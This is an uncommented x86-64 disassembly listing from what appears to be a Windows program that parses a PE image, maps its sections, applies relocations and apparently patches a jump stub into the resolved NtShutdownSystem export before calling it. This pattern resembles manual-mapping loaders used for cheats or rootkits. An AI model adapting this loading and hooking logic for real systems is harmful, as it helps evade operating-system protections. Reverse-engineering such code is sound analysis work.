mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140499fb0], rax
mov qword [rbp + 0x230], rax
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x238]
call fcn.1403ef9e8
nop
lea rcx, [rbp + 0x540]
call fcn.1403e8be4
nop
cmp qword [rbp + 0x230], rdi
je 0x1403ed457
cmp qword [rbp + 0x248], rdi
je 0x1403ed457
lea rcx, [rbp + 0x1d8]
call fcn.14043621c
mov eax, 0x5a4d
cmp word [0x14043e060], ax
jne 0x1403ecdcc
movsxd rax, dword [0x14043e09c]
lea rcx, [0x14043e060]
add rax, 8
add rax, rcx
jmp 0x1403ecdd1
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x1d8]
call fcn.140437798
test al, al
jne 0x1403ece52
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.1403ef9e8
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1403ece1f
mov rcx, rbx
call fcn.1403eaf64
nop
mov rcx, rbx
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x238]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x340]
call fcn.1403e8be4
lea rcx, [rbp + 0x320]
call fcn.1403e8be4
jmp 0x1403ebb97
mov r14, r13
mov rax, qword [rbp + 0x5f8]
lea r15, [rax + r13]
cmp r13, r15
jae 0x1403ed174
mov r13d, 4
movabs rsi, 0x7ffffffffffffffd
mov rbx, qword [0x1404a3e18]
mov eax, dword [r12 + r13]
cmp dword [0x140499f54], eax
jle 0x1403eced1
lea rcx, [0x140499f54]
call fcn.1404397c8
cmp dword [0x140499f54], 0xffffffff
jne 0x1403eced1
lea rcx, [0x14043df30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14049a018], rax
lea rcx, [0x140499f54]
call fcn.140439768
mov eax, dword [r12 + r13]
cmp dword [0x14049a008], eax
jle 0x1403ecf1c
lea rcx, [0x14049a008]
call fcn.1404397c8
cmp dword [0x14049a008], 0xffffffff
jne 0x1403ecf1c
mov edx, 2
lea rcx, [0x140499f60]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14043ca84]
call fcn.140439b54
lea rcx, [0x14049a008]
call fcn.140439768
lea rcx, [0x140499f60]
call fcn.1403e8b38
mov dword [rbp + 0x5e0], 0x25ff
mov word [rbp + 0x5e4], di
mov qword [rbp + 0x5e6], rbx
mov rcx, qword [0x140499fb8]
mov ebx, 0xe
mov r8d, ebx
lea rdx, [rbp + 0x220]
call fcn.1403eb644
mov rcx, qword [0x140499fb8]
mov r8d, ebx
lea rdx, [rbp + 0x5e0]
call fcn.1403eb7d0
mov rax, qword [0x14049a018]
mov rcx, r14
call rax
mov rbx, rax
mov rcx, qword [0x140499fb8]
mov r8d, 0xe
lea rdx, [rbp + 0x220]
call fcn.1403eb7d0
lea rcx, [0x140499f60]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x1d8]
call fcn.1404368b4
test al, al
jne 0x1403ed252
xor eax, eax
mov qword [rbp + 0x1f0], rax
mov rbx, qword [0x1404a3e20]
mov eax, dword [r12 + r13]
cmp dword [0x140499f54], eax
jle 0x1403ed02b
lea rcx, [0x140499f54]
call fcn.1404397c8
cmp dword [0x140499f54], 0xffffffff
jne 0x1403ed02b
lea rcx, [0x14043df30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14049a018], rax
lea rcx, [0x140499f54]
call fcn.140439768
mov eax, dword [r12 + r13]
cmp dword [0x14049a008], eax
jle 0x1403ed076
lea rcx, [0x14049a008]
call fcn.1404397c8
cmp dword [0x14049a008], 0xffffffff
jne 0x1403ed076
mov edx, 2
lea rcx, [0x140499f60]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14043ca84]
call fcn.140439b54
lea rcx, [0x14049a008]
call fcn.140439768
lea rcx, [0x140499f60]
call fcn.1403e8b38
mov dword [rbp + 0x5d0], 0x25ff
mov word [rbp + 0x5d4], di
mov qword [rbp + 0x5d6], rbx
mov rcx, qword [0x140499fb8]
mov ebx, 0xe
mov r8d, ebx
lea rdx, [rbp + 0x4c0]
call fcn.1403eb644
mov rcx, qword [0x140499fb8]
mov r8d, ebx
lea rdx, [rbp + 0x5d0]
call fcn.1403eb7d0
mov rax, qword [0x14049a018]
mov rcx, r14
call rax
mov rbx, rax
mov rcx, qword [0x140499fb8]
mov r8d, 0xe
lea rdx, [rbp + 0x4c0]
call fcn.1403eb7d0
lea rcx, [0x140499f60]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x1d8]
call fcn.1404368b4
neg al
sbb rcx, rcx
and rcx, qword [rbp + 0x2c8]
and rcx, rsi
or rcx, 2
mov qword [rbp + 0x2c0], rcx
lea r8, [rbp + 0x2c0]
mov r9d, 8
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.140436f14
add r14, 0x1000
cmp r14, r15
jb 0x1403ece79
mov rsi, qword [rbp + 0x5c0]
mov r13, qword [rbp + 8]
mov rax, qword [rbp + 0x5f8]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov r8d, dword [rsi + 0x54]
mov rdx, qword [0x14049a0b0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [rsi + 0x14]
add rbx, 0x28
mov r15d, edi
cmp di, word [rsi + 6]
jae 0x1403ed1dd
add rbx, rsi
mov ecx, dword [rbx - 4]
add rcx, r14
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [0x14049a0b0]
call sub.VCRUNTIME140.dll_memcpy
inc r15d
lea rbx, [rbx + 0x28]
movzx eax, word [rsi + 6]
cmp r15d, eax
jl 0x1403ed1b5
mov rbx, r13
sub rbx, qword [rsi + 0x30]
mov rdx, r14
lea rcx, [rbp + 0x4c0]
call fcn.1403f1ea4
mov rdx, rbx
mov rcx, rax
call fcn.1403f1bec
mov rdx, r14
lea rcx, [rbp + 0x4c0]
call fcn.1403f1fd0
mov rcx, rax
call fcn.1403f1c4c
test al, al
jne 0x1403ed282
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.1403ef9e8
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1403ed24d
mov rcx, rbx
call fcn.1403eaf64
nop
jmp 0x1403ece1f
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x1f0], rax
test al, al
jns 0x1403ecfd3
and rax, rsi
or rax, 2
mov qword [rbp + 0x1f0], rax
lea r8, [rbp + 0x1f0]
jmp 0x1403ed13d
mov r8d, dword [rsi + 0x54]
xor edx, edx
mov rcx, r14
call main
mov r9, qword [rbp + 0x5f8]
mov r8, r14
mov rdx, r13
lea rcx, [rbp + 0x1d8]
call fcn.140436f14
mov ebx, dword [rsi + 0x28]
add rbx, r13
mov esi, dword [rsi + 0x50]
mov r15d, 4
mov eax, dword [r15 + r12]
cmp dword [0x1404a3de8], eax
jle 0x1403ed309
lea rcx, [0x1404a3de8]
call fcn.1404397c8
cmp dword [0x1404a3de8], 0xffffffff
jne 0x1403ed309
lea rcx, [0x14043df30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1404a3e38], rax
lea rcx, [0x1404a3de8]
call fcn.140439768
lea r14, [0x1404a3e40]
mov eax, dword [r15 + r12]
cmp dword [0x1404a3de0], eax
jle 0x1403ed357
lea rcx, [0x1404a3de0]
call fcn.1404397c8
cmp dword [0x1404a3de0], 0xffffffff
jne 0x1403ed357
mov edx, 2
mov rcx, r14
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14043ca74]
call fcn.140439b54
lea rcx, [0x1404a3de0]
call fcn.140439768
mov rcx, r14
call fcn.1403e8b38
mov dword [rbp + 0x5c0], 0x25ff
mov word [rbp + 0x5c4], di
mov qword [rbp + 0x5c6], rbx
mov rcx, qword [0x140499fb8]
mov ebx, 0xe
mov r8d, ebx
lea rdx, [rbp + 0x5f8]
call fcn.1403eb644
mov rcx, qword [0x140499fb8]
mov r8d, ebx
lea rdx, [rbp + 0x5c0]
call fcn.1403eb7d0
mov rdx, rsi
mov rcx, r13
call qword [0x1404a3e38]
mov rcx, qword [0x140499fb8]
mov r8d, ebx
lea rdx, [rbp + 0x5f8]
call fcn.1403eb7d0
mov rcx, r14
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.1403ef9e8
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1403ed40d
mov rcx, rbx
call fcn.1403eaf64
test al, al
mov sil, 1
jne 0x1403ed410
mov sil, dil
mov rcx, rbx
call fcn.1403e8be4
test sil, sil
je 0x1403ed420
mov dil, 1
lea rcx, [rbp + 0x238]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x340]
call fcn.1403e8be4
lea rcx, [rbp + 0x320]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x2a0]
call fcn.1403e8be4
mov al, dil
jmp 0x1403ed46d
mov ecx, r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x2a0]
call fcn.1403e8be4
mov rcx, qword [rbp + 0x608]
xor rcx, rsp
call fcn.140439620
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret